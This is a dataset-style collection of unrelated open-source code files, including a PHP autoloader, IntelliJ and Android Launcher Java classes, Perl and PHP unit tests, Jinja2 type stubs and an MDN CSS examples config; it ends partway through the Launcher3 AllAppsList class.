text
stringlengths 2
99.9k
| meta
dict |
|---|---|
<?php
/*
* Copyright 2014 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
function oauth2client_php_autoload($className)
{
$classPath = explode('_', $className);
if ($classPath[0] != 'Google') {
return;
}
if (count($classPath) > 3) {
// Maximum class file path depth in this project is 3.
$classPath = array_slice($classPath, 0, 3);
}
$filePath = dirname(__FILE__) . '/src/' . implode('/', $classPath) . '.php';
if (file_exists($filePath)) {
require_once $filePath;
}
}
spl_autoload_register('oauth2client_php_autoload');
|
{
"pile_set_name": "Github"
}
|
// Copyright 2000-2019 JetBrains s.r.o. Use of this source code is governed by the Apache 2.0 license that can be found in the LICENSE file.
package com.intellij.ide.bookmarks.actions;
import com.intellij.icons.AllIcons;
import com.intellij.ide.IdeBundle;
import com.intellij.ide.bookmarks.BookmarkManager;
import com.intellij.lang.LangBundle;
import com.intellij.openapi.actionSystem.*;
import com.intellij.openapi.editor.Editor;
import com.intellij.openapi.project.DumbAware;
import com.intellij.openapi.project.Project;
import org.jetbrains.annotations.NotNull;
public class ToggleBookmarkAction extends BookmarksAction implements DumbAware, Toggleable {
public ToggleBookmarkAction() {
getTemplatePresentation().setText(IdeBundle.messagePointer("action.bookmark.toggle"));
}
@Override
public void update(@NotNull AnActionEvent event) {
Project project = event.getProject();
DataContext dataContext = event.getDataContext();
event.getPresentation().setEnabled(project != null &&
(CommonDataKeys.EDITOR.getData(dataContext) != null ||
CommonDataKeys.VIRTUAL_FILE.getData(dataContext) != null));
if (ActionPlaces.TOUCHBAR_GENERAL.equals(event.getPlace())) {
event.getPresentation().setIcon(AllIcons.Actions.Checked);
}
final BookmarkInContextInfo info = getBookmarkInfo(event);
final boolean selected = info != null && info.getBookmarkAtPlace() != null;
if (ActionPlaces.isPopupPlace(event.getPlace())) {
event.getPresentation().setText(selected ? LangBundle.message("action.clear.bookmark.text") :
LangBundle.message("action.set.bookmark.text"));
}
else {
event.getPresentation().setText(IdeBundle.messagePointer("action.bookmark.toggle"));
Toggleable.setSelected(event.getPresentation(), selected);
}
}
@Override
public void actionPerformed(@NotNull AnActionEvent e) {
Project project = e.getProject();
if (project == null) return;
final BookmarkInContextInfo info = getBookmarkInfo(e);
if (info == null) return;
final boolean selected = info.getBookmarkAtPlace() != null;
Toggleable.setSelected(e.getPresentation(), selected);
if (selected) {
BookmarkManager.getInstance(project).removeBookmark(info.getBookmarkAtPlace());
}
else {
Editor editor = e.getData(CommonDataKeys.EDITOR);
if (editor != null) {
BookmarkManager.getInstance(project).addEditorBookmark(editor, info.getLine());
}
else {
BookmarkManager.getInstance(project).addTextBookmark(info.getFile(), info.getLine(), "");
}
}
}
public static BookmarkInContextInfo getBookmarkInfo(@NotNull AnActionEvent e) {
Project project = e.getProject();
if (project == null) return null;
final BookmarkInContextInfo info = new BookmarkInContextInfo(e.getDataContext(), project).invoke();
return info.getFile() == null ? null : info;
}
}
|
{
"pile_set_name": "Github"
}
|
/* Copyright (c) 2007-2017, Stefan Eilemann <eile@equalizergraphics.com>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* - Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* - Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* - Neither the name of Eyescale Software GmbH nor the names of its
* contributors may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "localInitData.h"
#include "frameData.h"
#pragma warning(disable : 4275)
#include <boost/program_options.hpp>
#pragma warning(default : 4275)
#ifndef MIN
#define MIN LB_MIN
#endif
namespace po = boost::program_options;
namespace eVolve
{
LocalInitData::LocalInitData()
: _maxFrames(0xffffffffu)
, _isResident(false)
, _ortho(false)
{
}
LocalInitData& LocalInitData::operator=(const LocalInitData& from)
{
_maxFrames = from._maxFrames;
_isResident = from._isResident;
_ortho = from._ortho;
setFilename(from.getFilename());
setWindowSystem(from.getWindowSystem());
setPrecision(from.getPrecision());
setBrightness(from.getBrightness());
setAlpha(from.getAlpha());
return *this;
}
void LocalInitData::parseArguments(const int argc, char** argv)
{
std::string wsHelp = "Window System API ( one of: ";
#ifdef AGL
wsHelp += "AGL ";
#endif
#ifdef GLX
wsHelp += "GLX ";
#endif
#ifdef WGL
wsHelp += "WGL ";
#endif
#ifdef EQUALIZER_USE_QT5WIDGETS
wsHelp += "Qt ";
#endif
wsHelp += ")";
bool showHelp(false);
uint32_t userDefinedPrecision(2);
float userDefinedBrightness(1.0f);
float userDefinedAlpha(1.0f);
std::string userDefinedModelPath("");
std::string userDefinedWindowSystem("");
const std::string& desc = EVolve::getHelp();
po::options_description options(desc + " Version " +
eq::Version::getString(),
lunchbox::term::getSize().first);
options.add_options()("help,h",
po::bool_switch(&showHelp)->default_value(false),
"produce help message")(
"model,m", po::value<std::string>(&userDefinedModelPath),
"raw model file name, e.g. Bucky32x32x32.raw")(
"resident,r", po::bool_switch(&_isResident)->default_value(false),
"Keep client resident (see resident mode documentation on website)")(
"numFrames,n",
po::value<uint32_t>(&_maxFrames)->default_value(0xffffffffu),
"Maximum number of rendered frames")(
"precision,p",
po::value<uint32_t>(&userDefinedPrecision)->default_value(2),
"Rendering precision (default 2, bigger is better and slower)")(
"brightness,b",
po::value<float>(&userDefinedBrightness)->default_value(1.0f),
"brightness factor")(
"alpha,a", po::value<float>(&userDefinedAlpha)->default_value(1.0f),
"alpha attenuation")("ortho,o",
po::bool_switch(&_ortho)->default_value(false),
"use orthographic projection")(
"windowSystem,w", po::value<std::string>(&userDefinedWindowSystem),
wsHelp.c_str());
po::variables_map variableMap;
try
{
// parse program options, ignore non related options
po::store(po::command_line_parser(argc, argv)
.options(options)
.allow_unregistered()
.run(),
variableMap);
po::notify(variableMap);
}
catch (std::exception& exception)
{
LBERROR << "Error parsing command line: " << exception.what()
<< std::endl;
eq::exit(); // cppcheck-suppress unreachableCode
::exit(EXIT_FAILURE);
}
// Evaluate parsed command line options
if (showHelp)
{
std::cout << options << std::endl
<< eq::getHelp() << eq::Client::getHelp() << std::endl;
eq::exit(); // cppcheck-suppress unreachableCode
::exit(EXIT_SUCCESS);
}
if (variableMap.count("model") > 0)
setFilename(userDefinedModelPath);
if (variableMap.count("windowSystem") > 0)
setWindowSystem(userDefinedWindowSystem);
if (variableMap.count("precision") > 0)
setPrecision(userDefinedPrecision);
if (variableMap.count("brightness") > 0)
setBrightness(userDefinedBrightness);
if (variableMap.count("alpha") > 0)
setAlpha(userDefinedAlpha);
}
}
|
{
"pile_set_name": "Github"
}
|
from typing import Any, NamedTuple, Optional
def contextfilter(f): ...
def evalcontextfilter(f): ...
def environmentfilter(f): ...
def make_attrgetter(environment, attribute): ...
def do_forceescape(value): ...
def do_urlencode(value): ...
def do_replace(eval_ctx, s, old, new, count: Optional[Any] = ...): ...
def do_upper(s): ...
def do_lower(s): ...
def do_xmlattr(_eval_ctx, d, autospace: bool = ...): ...
def do_capitalize(s): ...
def do_title(s): ...
def do_dictsort(value, case_sensitive: bool = ..., by: str = ...): ...
def do_sort(environment, value, reverse: bool = ..., case_sensitive: bool = ..., attribute: Optional[Any] = ...): ...
def do_default(value, default_value: str = ..., boolean: bool = ...): ...
def do_join(eval_ctx, value, d: str = ..., attribute: Optional[Any] = ...): ...
def do_center(value, width: int = ...): ...
def do_first(environment, seq): ...
def do_last(environment, seq): ...
def do_random(environment, seq): ...
def do_filesizeformat(value, binary: bool = ...): ...
def do_pprint(value, verbose: bool = ...): ...
def do_urlize(eval_ctx, value, trim_url_limit: Optional[Any] = ..., nofollow: bool = ..., target: Optional[Any] = ...): ...
def do_indent(s, width: int = ..., indentfirst: bool = ...): ...
def do_truncate(s, length: int = ..., killwords: bool = ..., end: str = ...): ...
def do_wordwrap(environment, s, width: int = ..., break_long_words: bool = ..., wrapstring: Optional[Any] = ...): ...
def do_wordcount(s): ...
def do_int(value, default: int = ..., base: int = ...): ...
def do_float(value, default: float = ...): ...
def do_format(value, *args, **kwargs): ...
def do_trim(value): ...
def do_striptags(value): ...
def do_slice(value, slices, fill_with: Optional[Any] = ...): ...
def do_batch(value, linecount, fill_with: Optional[Any] = ...): ...
def do_round(value, precision: int = ..., method: str = ...): ...
def do_groupby(environment, value, attribute): ...
class _GroupTuple(NamedTuple):
grouper: Any
list: Any
def do_sum(environment, iterable, attribute: Optional[Any] = ..., start: int = ...): ...
def do_list(value): ...
def do_mark_safe(value): ...
def do_mark_unsafe(value): ...
def do_reverse(value): ...
def do_attr(environment, obj, name): ...
def do_map(*args, **kwargs): ...
def do_select(*args, **kwargs): ...
def do_reject(*args, **kwargs): ...
def do_selectattr(*args, **kwargs): ...
def do_rejectattr(*args, **kwargs): ...
FILTERS: Any
|
{
"pile_set_name": "Github"
}
|
/* Generated by RuntimeBrowser
Image: /System/Library/PrivateFrameworks/Celestial.framework/Celestial
*/
@interface BWPearlPortraitSceneMonitor : NSObject <BWPortraitSceneMonitor> {
bool _aeStableAfterStartStreaming;
float _closeDepthDistanceAverage;
bool _depthSensorOccluded;
bool _disablePreviewWhenTooBright;
float _luxLevelFiltered;
float _luxLevelSmoothingFactor;
int _numberOfFramesToWaitForAEAndLTMToStabilize;
bool _portraitSceneMonitoringRequiresStageThresholds;
float _sdofDepthQuality;
float _sdofDepthQualityFiltered;
float _sdofDepthQualityKCount;
float _sdofDepthQualitySmoothingFactor;
int _sdofNumFramesSinceAEBecameStable;
float _sdofTooBrightDepthQualityMinThreshold;
unsigned short _sdofTooBrightLuxLevelThreshold;
unsigned short _sdofTooBrightMaxLuxLevelThreshold;
float _sdofTooBrightTooFarDepthDistanceThreshold;
float _sdofTooCloseDepthDistanceThreshold;
float _sdofTooFarDepthDistanceThreshold;
float _stageBackgroundTooFarDepthQualityThreshold;
unsigned short _stageBackgroundTooFarLuxLevelThreshold;
float _stageDepthQuality;
bool _stageFaceDetected;
bool _stageFaceHasBeenSeen;
int _stageFaceNumberOfFramesSinceLastFace;
int _stageFaceNumberOfFramesSinceLastFaceThreshold;
int _stageMostRecentFacesCount;
float _stageTooBrightDepthQualityThreshold;
float _stageTooCloseDepthDistanceThreshold;
float _stageTooFarDepthDistanceThreshold;
}
@property (readonly, copy) NSString *debugDescription;
@property (readonly, copy) NSString *description;
@property (readonly) unsigned long long hash;
@property (nonatomic) bool portraitSceneMonitoringRequiresStageThresholds;
@property (readonly) Class superclass;
+ (void)initialize;
- (void)dealloc;
- (void)focusScanDidComplete;
- (id)initWithTuningParameters:(id)arg1 attachDebugFrameStatistics:(bool)arg2;
- (bool)portraitSceneMonitoringRequiresStageThresholds;
- (bool)resolveSDOFStatusWithSampleBuffer:(struct opaqueCMSampleBuffer { }*)arg1 frameStatistics:(struct { double x1; float x2; float x3; double x4; float x5; unsigned int x6; unsigned int x7; unsigned int x8; unsigned int x9; unsigned char x10; unsigned char x11; unsigned int x12; int x13; int x14; int x15; unsigned int x16; unsigned char x17; unsigned char x18; float x19; float x20; float x21; unsigned char x22; double x23; double x24; int x25; int x26; int x27; float x28; float x29; float x30; unsigned int x31; unsigned int x32; unsigned int x33; unsigned int x34; unsigned char x35; int x36; int x37; float x38; float x39; int x40; int x41; long long x42; }*)arg2 sceneFlags:(unsigned long long)arg3 flashWillFire:(bool)arg4 effectStatus:(int*)arg5 stagePreviewStatus:(int*)arg6;
- (void)setAutoFocusInProgress:(bool)arg1 focusLocked:(bool)arg2 oneShotFocusScanInProgress:(bool)arg3;
- (void)setPortraitSceneMonitoringRequiresStageThresholds:(bool)arg1;
- (void)setSDOFBackgroundShiftSum:(float)arg1 invalidShiftRatio:(float)arg2 closeCanonicalDisparityAverage:(float)arg3 faceCanonicalDisparityAverages:(id)arg4 erodedForegroundRatio:(float)arg5 foregroundRatio:(float)arg6 occluded:(bool)arg7 faces:(id)arg8;
@end
|
{
"pile_set_name": "Github"
}
|
use strict;
use warnings;
BEGIN {
use Config;
if (! $Config{'useithreads'}) {
print("1..0 # SKIP Perl not compiled with 'useithreads'\n");
exit(0);
}
}
use ExtUtils::testlib;
sub ok {
my ($id, $ok, $name) = @_;
# You have to do it this way or VMS will get confused.
if ($ok) {
print("ok $id - $name\n");
} else {
print("not ok $id - $name\n");
printf("# Failed test at line %d\n", (caller)[2]);
}
return ($ok);
}
BEGIN {
$| = 1;
print("1..18\n"); ### Number of tests that will be run ###
};
use threads ('stack_size' => 128*4096);
ok(1, 1, 'Loaded');
### Start of Testing ###
ok(2, threads->get_stack_size() == 128*4096,
'Stack size set in import');
ok(3, threads->set_stack_size(160*4096) == 128*4096,
'Set returns previous value');
ok(4, threads->get_stack_size() == 160*4096,
'Get stack size');
threads->create(
sub {
ok(5, threads->get_stack_size() == 160*4096,
'Get stack size in thread');
ok(6, threads->self()->get_stack_size() == 160*4096,
'Thread gets own stack size');
ok(7, threads->set_stack_size(128*4096) == 160*4096,
'Thread changes stack size');
ok(8, threads->get_stack_size() == 128*4096,
'Get stack size in thread');
ok(9, threads->self()->get_stack_size() == 160*4096,
'Thread stack size unchanged');
}
)->join();
ok(10, threads->get_stack_size() == 128*4096,
'Default thread sized changed in thread');
threads->create(
{ 'stack' => 160*4096 },
sub {
ok(11, threads->get_stack_size() == 128*4096,
'Get stack size in thread');
ok(12, threads->self()->get_stack_size() == 160*4096,
'Thread gets own stack size');
}
)->join();
my $thr = threads->create( { 'stack' => 160*4096 }, sub { } );
$thr->create(
sub {
ok(13, threads->get_stack_size() == 128*4096,
'Get stack size in thread');
ok(14, threads->self()->get_stack_size() == 160*4096,
'Thread gets own stack size');
}
)->join();
$thr->create(
{ 'stack' => 144*4096 },
sub {
ok(15, threads->get_stack_size() == 128*4096,
'Get stack size in thread');
ok(16, threads->self()->get_stack_size() == 144*4096,
'Thread gets own stack size');
ok(17, threads->set_stack_size(160*4096) == 128*4096,
'Thread changes stack size');
}
)->join();
$thr->join();
ok(18, threads->get_stack_size() == 160*4096,
'Default thread sized changed in thread');
exit(0);
# EOF
|
{
"pile_set_name": "Github"
}
|
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build nacl plan9 solaris
package ipv6
// TrafficClass returns the traffic class field value for outgoing
// packets.
func (c *genericOpt) TrafficClass() (int, error) {
return 0, errOpNoSupport
}
// SetTrafficClass sets the traffic class field value for future
// outgoing packets.
func (c *genericOpt) SetTrafficClass(tclass int) error {
return errOpNoSupport
}
// HopLimit returns the hop limit field value for outgoing packets.
func (c *genericOpt) HopLimit() (int, error) {
return 0, errOpNoSupport
}
// SetHopLimit sets the hop limit field value for future outgoing
// packets.
func (c *genericOpt) SetHopLimit(hoplim int) error {
return errOpNoSupport
}
|
{
"pile_set_name": "Github"
}
|
// License: GPL. For details, see LICENSE file.
package org.openstreetmap.josm.gui.dialogs.relation;
import static org.junit.Assert.assertNotNull;
import org.junit.Rule;
import org.junit.Test;
import org.openstreetmap.josm.data.osm.DataSet;
import org.openstreetmap.josm.data.osm.Relation;
import org.openstreetmap.josm.gui.layer.OsmDataLayer;
import org.openstreetmap.josm.testutils.JOSMTestRules;
import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
/**
* Unit tests of {@link ChildRelationBrowser} class.
*/
public class ChildRelationBrowserTest {
/**
* Setup test.
*/
@Rule
@SuppressFBWarnings(value = "URF_UNREAD_PUBLIC_OR_PROTECTED_FIELD")
public JOSMTestRules test = new JOSMTestRules().preferences();
/**
* Unit test of {@link ChildRelationBrowser#ChildRelationBrowser}.
*/
@Test
public void testChildRelationBrowser() {
DataSet ds = new DataSet();
Relation r = new Relation();
ds.addPrimitive(r);
assertNotNull(new ChildRelationBrowser(new OsmDataLayer(ds, "", null), r));
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
namespace Magento\Store\Test\Unit\Model\Config\Importer\Processor;
use Magento\Framework\ObjectManagerInterface;
use Magento\Store\Model\Config\Importer\Processor\Create;
use Magento\Store\Model\Config\Importer\Processor\Delete;
use Magento\Store\Model\Config\Importer\Processor\ProcessorFactory;
use Magento\Store\Model\Config\Importer\Processor\ProcessorInterface;
use PHPUnit_Framework_MockObject_MockObject as Mock;
/**
* @inheritdoc
*/
class ProcessorFactoryTest extends \PHPUnit\Framework\TestCase
{
/**
* @var ProcessorFactory
*/
private $model;
/**
* @var ObjectManagerInterface|Mock
*/
private $objectManagerMock;
/**
* @inheritdoc
*/
protected function setUp()
{
$this->objectManagerMock = $this->getMockBuilder(ObjectManagerInterface::class)
->getMockForAbstractClass();
$this->model = new ProcessorFactory(
$this->objectManagerMock,
[
ProcessorFactory::TYPE_CREATE => Create::class,
ProcessorFactory::TYPE_DELETE => Delete::class,
'wrongType' => \stdClass::class,
]
);
}
public function testCreate()
{
$processorMock = $this->getMockBuilder(ProcessorInterface::class)
->getMockForAbstractClass();
$this->objectManagerMock->expects($this->once())
->method('create')
->with(Create::class)
->willReturn($processorMock);
$this->assertInstanceOf(
ProcessorInterface::class,
$this->model->create(ProcessorFactory::TYPE_CREATE)
);
}
/**
* @expectedException \Magento\Framework\Exception\ConfigurationMismatchException
* @expectedExceptionMessage The class for "dummyType" type wasn't declared. Enter the class and try again.
*/
public function testCreateNonExisted()
{
$this->model->create('dummyType');
}
/**
* @expectedException \Magento\Framework\Exception\ConfigurationMismatchException
* @expectedExceptionMessage stdClass should implement
*/
public function testCreateWrongImplementation()
{
$type = 'wrongType';
$this->objectManagerMock->expects($this->once())
->method('create')
->with(\stdClass::class)
->willReturn(new \stdClass());
$this->model->create($type);
}
}
|
{
"pile_set_name": "Github"
}
|
{
"pages": {
"blockSize": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/block-size.css",
"exampleCode": "./live-examples/css-examples/logical-properties/block-size.html",
"fileName": "block-size.html",
"title": "CSS Demo: block-size",
"type": "css"
},
"borderBlockEndColor": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border-color.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-block-end-color.html",
"fileName": "border-block-end-color.html",
"title": "CSS Demo: border-block-end-color",
"type": "css"
},
"borderBlockEndStyle": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border-style.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-block-end-style.html",
"fileName": "border-block-end-style.html",
"title": "CSS Demo: border-block-end-style",
"type": "css"
},
"borderBlockEndWidth": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border-width.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-block-end-width.html",
"fileName": "border-block-end-width.html",
"title": "CSS Demo: border-block-end-width",
"type": "css"
},
"borderBlockEnd": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-block-end.html",
"fileName": "border-block-end.html",
"title": "CSS Demo: border-block-end",
"type": "css"
},
"borderBlockStartColor": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border-color.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-block-start-color.html",
"fileName": "border-block-start-color.html",
"title": "CSS Demo: border-block-start-color",
"type": "css"
},
"borderBlockStartStyle": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border-style.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-block-start-style.html",
"fileName": "border-block-start-style.html",
"title": "CSS Demo: border-block-start-style",
"type": "css"
},
"borderBlockStartWidth": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border-width.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-block-start-width.html",
"fileName": "border-block-start-width.html",
"title": "CSS Demo: border-block-start-width",
"type": "css"
},
"borderBlockStart": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-block-start.html",
"fileName": "border-block-start.html",
"title": "CSS Demo: border-block-start",
"type": "css"
},
"borderInlineEndColor": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border-color.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-inline-end-color.html",
"fileName": "border-inline-end-color.html",
"title": "CSS Demo: border-inline-end-color",
"type": "css"
},
"borderInlineEndStyle": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border-style.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-inline-end-style.html",
"fileName": "border-inline-end-style.html",
"title": "CSS Demo: border-inline-end-style",
"type": "css"
},
"borderInlineEndWidth": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border-width.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-inline-end-width.html",
"fileName": "border-inline-end-width.html",
"title": "CSS Demo: border-inline-end-width",
"type": "css"
},
"borderInlineEnd": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-inline-end.html",
"fileName": "border-inline-end.html",
"title": "CSS Demo: border-inline-end",
"type": "css"
},
"borderInlineStartColor": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border-color.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-inline-start-color.html",
"fileName": "border-inline-start-color.html",
"title": "CSS Demo: border-inline-start-color",
"type": "css"
},
"borderInlineStartStyle": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border-style.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-inline-start-style.html",
"fileName": "border-inline-start-style.html",
"title": "CSS Demo: border-inline-start-style",
"type": "css"
},
"borderInlineStartWidth": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border-width.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-inline-start-width.html",
"fileName": "border-inline-start-width.html",
"title": "CSS Demo: border-inline-start-width",
"type": "css"
},
"borderInlineStart": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/border.css",
"exampleCode": "./live-examples/css-examples/logical-properties/border-inline-start.html",
"fileName": "border-inline-start.html",
"title": "CSS Demo: border-inline-start",
"type": "css"
},
"inlineSize": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/inline-size.css",
"exampleCode": "./live-examples/css-examples/logical-properties/inline-size.html",
"fileName": "inline-size.html",
"title": "CSS Demo: inline-size",
"type": "css"
},
"inset-block-end": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/inset-block-end.css",
"exampleCode": "./live-examples/css-examples/logical-properties/inset-block-end.html",
"fileName": "inset-block-end.html",
"title": "CSS Demo: inset-block-end",
"type": "css"
},
"inset-block-start": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/inset-block-start.css",
"exampleCode": "./live-examples/css-examples/logical-properties/inset-block-start.html",
"fileName": "inset-block-start.html",
"title": "CSS Demo: inset-block-start",
"type": "css"
},
"inset-inline-end": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/inset-inline-end.css",
"exampleCode": "./live-examples/css-examples/logical-properties/inset-inline-end.html",
"fileName": "inset-inline-end.html",
"title": "CSS Demo: inset-inline-end",
"type": "css"
},
"inset-inline-start": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/inset-inline-start.css",
"exampleCode": "./live-examples/css-examples/logical-properties/inset-inline-start.html",
"fileName": "inset-inline-start.html",
"title": "CSS Demo: inset-inline-start",
"type": "css"
},
"marginBlockStart": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/margin-block.css",
"exampleCode": "./live-examples/css-examples/logical-properties/margin-block-start.html",
"fileName": "margin-block-start.html",
"title": "CSS Demo: margin-block-start",
"type": "css"
},
"marginBlockEnd": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/margin-block.css",
"exampleCode": "./live-examples/css-examples/logical-properties/margin-block-end.html",
"fileName": "margin-block-end.html",
"title": "CSS Demo: margin-block-end",
"type": "css"
},
"marginInlineEnd": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/margin-inline.css",
"exampleCode": "./live-examples/css-examples/logical-properties/margin-inline-end.html",
"fileName": "margin-inline-end.html",
"title": "CSS Demo: margin-inline-end",
"type": "css"
},
"marginInlineStart": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/margin-inline.css",
"exampleCode": "./live-examples/css-examples/logical-properties/margin-inline-start.html",
"fileName": "margin-inline-start.html",
"title": "CSS Demo: margin-inline-start",
"type": "css"
},
"max-block-size": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/block-size.css",
"exampleCode": "./live-examples/css-examples/logical-properties/max-block-size.html",
"fileName": "max-block-size.html",
"title": "CSS Demo: max-block-size",
"type": "css"
},
"max-inline-size": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/inline-size.css",
"exampleCode": "./live-examples/css-examples/logical-properties/max-inline-size.html",
"fileName": "max-inline-size.html",
"title": "CSS Demo: max-inline-size",
"type": "css"
},
"min-block-size": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/block-size.css",
"exampleCode": "./live-examples/css-examples/logical-properties/min-block-size.html",
"fileName": "min-block-size.html",
"title": "CSS Demo: min-block-size",
"type": "css"
},
"min-inline-size": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/inline-size.css",
"exampleCode": "./live-examples/css-examples/logical-properties/min-inline-size.html",
"fileName": "min-inline-size.html",
"title": "CSS Demo: min-inline-size",
"type": "css"
},
"paddingBlockEnd": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/padding.css",
"exampleCode": "./live-examples/css-examples/logical-properties/padding-block-end.html",
"fileName": "padding-block-end.html",
"title": "CSS Demo: padding-block-end",
"type": "css"
},
"paddingBlockStart": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/padding.css",
"exampleCode": "./live-examples/css-examples/logical-properties/padding-block-start.html",
"fileName": "padding-block-start.html",
"title": "CSS Demo: padding-block-start",
"type": "css"
},
"paddingInlineEnd": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/padding.css",
"exampleCode": "./live-examples/css-examples/logical-properties/padding-inline-end.html",
"fileName": "padding-inline-end.html",
"title": "CSS Demo: padding-inline-end",
"type": "css"
},
"paddingInlineStart": {
"cssExampleSrc": "./live-examples/css-examples/logical-properties/padding.css",
"exampleCode": "./live-examples/css-examples/logical-properties/padding-inline-start.html",
"fileName": "padding-inline-start.html",
"title": "CSS Demo: padding-inline-start",
"type": "css"
}
}
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (C) 2008 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.android.launcher3.model;
import static com.android.launcher3.AppInfo.COMPONENT_KEY_COMPARATOR;
import static com.android.launcher3.AppInfo.EMPTY_ARRAY;
import android.content.ComponentName;
import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.LauncherActivityInfo;
import android.os.LocaleList;
import android.os.Process;
import android.os.UserHandle;
import android.util.Log;
import com.android.launcher3.AppFilter;
import com.android.launcher3.AppInfo;
import com.android.launcher3.PromiseAppInfo;
import com.android.launcher3.compat.AlphabeticIndexCompat;
import com.android.launcher3.compat.LauncherAppsCompat;
import com.android.launcher3.compat.PackageInstallerCompat;
import com.android.launcher3.compat.PackageInstallerCompat.PackageInstallInfo;
import com.android.launcher3.icons.IconCache;
import com.android.launcher3.util.FlagOp;
import com.android.launcher3.util.ItemInfoMatcher;
import com.android.launcher3.util.SafeCloseable;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.function.Consumer;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
/**
* Stores the list of all applications for the all apps view.
*/
public class AllAppsList {
private static final String TAG = "AllAppsList";
private static final Consumer<AppInfo> NO_OP_CONSUMER = a -> { };
public static final int DEFAULT_APPLICATIONS_NUMBER = 42;
/** The list off all apps. */
public final ArrayList<AppInfo> data = new ArrayList<>(DEFAULT_APPLICATIONS_NUMBER);
private IconCache mIconCache;
private AppFilter mAppFilter;
private boolean mDataChanged = false;
private Consumer<AppInfo> mRemoveListener = NO_OP_CONSUMER;
